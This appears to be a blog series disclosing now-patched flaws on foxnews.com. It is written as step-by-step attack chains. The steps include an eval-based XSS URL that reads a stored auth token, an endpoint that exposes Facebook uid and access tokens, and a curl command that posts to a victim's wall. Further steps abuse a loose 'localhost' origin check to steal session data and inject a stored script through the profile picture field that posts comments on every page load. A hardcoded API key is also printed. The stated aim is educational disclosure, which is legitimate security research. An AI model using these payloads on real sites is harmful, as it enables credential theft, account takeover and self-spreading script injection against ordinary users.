This is a series of three articles detailing vulnerabilities in foxnews.com that are patched up now. Before patching they would’ve given attackers full access to visitors’ facebook accounts, posting comments on their behalf, and (worst of all) changed your profile picture.
I notified foxnews of each when it was discovered but never heard back.
These are posted for educational purposes.
A lot of websites have JS injection vulnerabilities and will run code embedded in URLs. This means if the website stores your data in cookies or localStorage thinking only you can access it, now this code can access it.
For example, foxnews.com has a page that evaluates part of URL hash without sanitizing it. So, the following URL shows an alert saying “hi”:
http://www.foxnews.com/static/v/all/html/xdcomm.html#top;alert(‘hi’):
This example shows how, if you link your foxnews.com account to Facebook, you could post on your wall using credentials foxnews.com stores in your browser. Steps 1–3 could all be done in code embedded in the first URL.
Grab your token stored in localStorage:
http://www.foxnews.com/static/v/all/html/xdcomm.html#top;alert(localStorage.janrainCaptureToken):
If you’re logged into foxnews.com you will see some series of letters and numbers — your token, otherwise you’ll see undefined.
Find your facebook credentials using this token without logging in — i.e. try incognito mode:
https://signin.foxnews.com/entity?type_name=user&access_token=token
This will return a blob of JSON, in particular it has your Facebook uid and API accessToken.
Use these credentials to post a message on your Facebook wall, e.g.
$ curl — data ‘access_token=accessToken' https://graph.facebook.com/uid/feed?message=YourMessage
** I informed foxnews.com of this; they didn’t respond after multiple days.
In this article we’ll see how you could change your foxnews.com profile picture so it posts random comments to articles. In short the steps are:
Access your foxnews.com account credentials from any site
Use these credentials to change your profile picture
Inject JS to your profile picture to run on every page load
The remediations are obvious, don’t allow (1), (2), or (3). It’s also obvious when this could get malicious — e.g. if you allow people to change their profile picture, but inject code unknowing to them. You shouldn’t do this.
Your account information is stored in localStorage on my.foxnews.com and pages on different domains that need access to this post messages to https://my.foxnews.com/xd-channel.html. So if you’d like to access this information, you’ll wait for a message with name “ready” from this page then post a message with with name “silentLogin” to this page and listen for the response. The response will have all the information you need in order to make request to the foxnews API, like this:
let silentLoginData = {
authenticated: true
token: "<your token>" // ****
userInfo: {
'https://foxnews.com/display_name': "<your display name>" // ****
"https://foxnews.com/metadata": {
account_active: true,
is_active: true,
picture: "<your profile picture>", // ****
},
'https://foxnews.com/picture': "<your profile picture>", // ****
'https://foxnews.com/user_id': "<your user id>", // ****
},
}
In order to post messages to this page, you need to be coming from either a foxnews-ish domain or a localhost-ish domain. Examples of the latter allowed by the bold line below would be http://localhost or https://localhost-some-domain.com. Note that the second example means that if we add an xd-channel.html iframe, we can access this information from a third-party site. Here is the relevant snippet that checks the domains from https://my.foxnews.com/js/app/controllers/xd-channel.js:
var allowedOrigins = (function(){
return function(val) {
if (!val) { return false; }
var res = false;
var allowed = [
/(.+)\.(foxnews|foxbusiness)\.com/i.test(val),
/localhost/.test(val) // **** here *****
];
for (var i = 0; i < allowed.length; i++) {
if (allowed[i]) {
res = true;
break;
}
}
return res;
};
})();
After you receive the response from xd-channel.html, you can send requests to api2.foxnews.com to do things like change your display name to “New display name”:
let id = silentLoginData['userInfo']['https://foxnews.com/user_id'];
let token = silentLoginData['token'];
let values = {
url: 'https://api2.fox.com/v2.0/update/' + **id**,
data: '{"displayName":"**New display name**"}',
method: 'PUT',
headers: {
authorization: 'Bearer '+ **token**,
content-type: 'application/json',
x-api-key: 'vHeTnXOe984VBvC0ud8lPpSbsxJ0c7kQ',
},
};
$.ajax(values).done(function(resp) {
console.log('Response: ', resp);
});
Check out https://my.foxnews.com/js/app/components/auth.js to figure out what other messages are valid.
foxnews.com has disabled setting your profile picture from their website, but we can set it now by adding a picture property to the update values, e.g.
let values = {
...
data: '{"picture":"http://some-domain.com/some-image.png"}',
...
};
This picture will be the src attribute of every page load, e.g.
<img src=”http://some-domain.com/some-image.png" />
As it turns out you can set this value to any string, including the following:
http://some-domain.com/some-image.png"><script>alert('hello')</script>
So that your profile picture would become the following:
<img src=”http://some-domain.com/some-image.png"><script>alert('hello')</script>
And “hello” would be alerted on every page load.
To do a bit more than print “hello” on every page load, you could instead post a random comment (or a specific comment) to every comment thread you visit by setting your profile picture to the following:
http://some-domain.com/some-image.png"><script>var s = document.createElement('script'); s.addEventListener('load', comment); s.src = '**<script to post comment>**'+new Date(); document.body.appendChild(s); </script>
I’ll leave script to post comment as an exercise for the reader.
As an example you could build a little site running locally or a domain with localhost in the name to show the logged in user’s information like the following and change values.
Then you’d get something like this on every page load. Useful huh?
*** I’ve notified foxnews.com about this and haven’t heard back.
This is a follow-on to the above article about JS injection in foxnews.com. That article pointed out that foxnews.com has a couple vulnerabilities:
You can inject JS via xdcomm.html
They expose facebook your credentials in plain text
They’ve patch up (2), but not (1), which means you can execute arbitrary code, as long as that code fits with the 2038 character limit of URLs. To summarize (1), anything between the last ‘;’ and ‘:’ will get eval’ed in the URL http://www.foxnews.com/static/v/all/html/xdcomm.html#top;****:. They also expose a function attached to the window, *setUserProfile,* which updates the user’s profile.
That’s what we’ll call in order to create a link that will change your foxnews.com profile to Kermit the Frog.
In order to to call this function we have to go through the auth flow, which will require the following in the new code — all in this gist:
Populate the page with enough DOM elements so the flow will complete and doesn’t crash — done through addFakeContent
Load all the scripts from the profile page to perform the auth — done through loadAssets
Call setUserProfile *with new user properties — done through *changeProfile
If you minify this code and add it to xdcomm.html you get a link that when clicked will change your profile to be Kermit the Frog:
Change your profile to Kermit the Frog
When logged into foxnews.com and click this link, your profile will turn into this: